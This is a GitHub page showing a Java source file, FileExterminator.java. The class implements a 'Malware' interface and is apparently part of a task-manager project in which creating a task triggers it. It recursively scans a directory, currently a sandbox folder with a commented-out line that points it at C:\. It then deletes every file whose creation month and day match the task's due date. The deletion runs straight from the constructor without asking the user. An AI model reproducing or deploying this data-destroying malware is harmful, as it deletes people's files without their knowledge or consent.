-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathFileExterminator.java
More file actions
119 lines (103 loc) · 3.58 KB
/
Copy pathFileExterminator.java
File metadata and controls
119 lines (103 loc) · 3.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.attribute.BasicFileAttributes;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Date;
/**
*
* @author aalea
*
* This class is sent a date. This would occur when
* a task is created. The class searches the system
* for files created on the same date as the new task.
* Upon finding these files, the class deletes them.
*
*/
public class FileExterminator implements Malware {
/**
* due date of the task
*/
private Date date;
/**
* files to delete
*/
private ArrayList<File> victimFiles;
/**
* the constructor method
*
* @param task that the due date will be extracted out of
*/
public FileExterminator(Task task) {
//initializes arraylist of files to delete
this.victimFiles = new ArrayList<File>();
//1. Save the due date of the task
this.date = task.getDate();
//2. Call the method that searches the system
searchSystem(new File("C:\\Users\\aalea\\ComputerFileSystem"));
//searchSystem(new File("C:\\"));
//3. Call the method that deletes the files
attack();
}
/**
*
* this method searches the computer for a file.
* Code based on <a href>https://stackoverflow.com/questions/15624226/java-search-for-files-in-a-directory</a>
*
* @param the file to be searched for
*
*/
public void searchSystem(File file) {
//2. If the list of files in the directory is not empty
if (file.list().length > 0) {
//goes through the directory
for (int i = 0; i < file.list().length; i++) {
//2.1. Check if the item in list is another directory
if (new File(file.getPath() + "\\" + file.list()[i]).isDirectory()) {
//2.1.1. If so, run this method again, with parameter file the current item in the list
System.out.println("* recursion *");
searchSystem(new File(file.getPath() + "\\" + file.list()[i]));
}
//2.2. If not, attempt to read the file attributes
else {
//create file variable out of element in file list, as file.list() only returns a string array
File potentialVictim = new File(file.getPath() + "\\" + file.list()[i]);
//2.2.1. If possible to read, grab the creation date
BasicFileAttributes attr = null; //initializes attribute
Date creationDate = new Date(0); //initializes creation date of file
try {
//get attributes
attr = Files.readAttributes(potentialVictim.toPath(), BasicFileAttributes.class);
} catch (IOException e) {
// TODO Auto-generated catch block
System.out.println(e);
}
finally {
creationDate = new Date(attr.creationTime().toMillis()); //grab creation date of file
}
//2.2.2. If the creation date is the same as the due date of the task
if (creationDate.getMonth()==date.getMonth() && creationDate.getDate()==date.getDate()) {
System.out.println(potentialVictim);
//2.2.2.1. Add the task to an arraylist of files to delete
victimFiles.add(potentialVictim);
}
}
}
//3. Continue reading next file until list of files are all read
}
}
/**
* this method iterates through all the files that were collected and deletes them
*/
@Override
public void attack() {
//iterate through all the files that were collected
for (int i = 0; i < victimFiles.size(); i++) {
System.out.println("ABOUT TO DELETE");
victimFiles.get(i).delete(); //delete the file if possible
System.out.println("DELETED");
}
}
}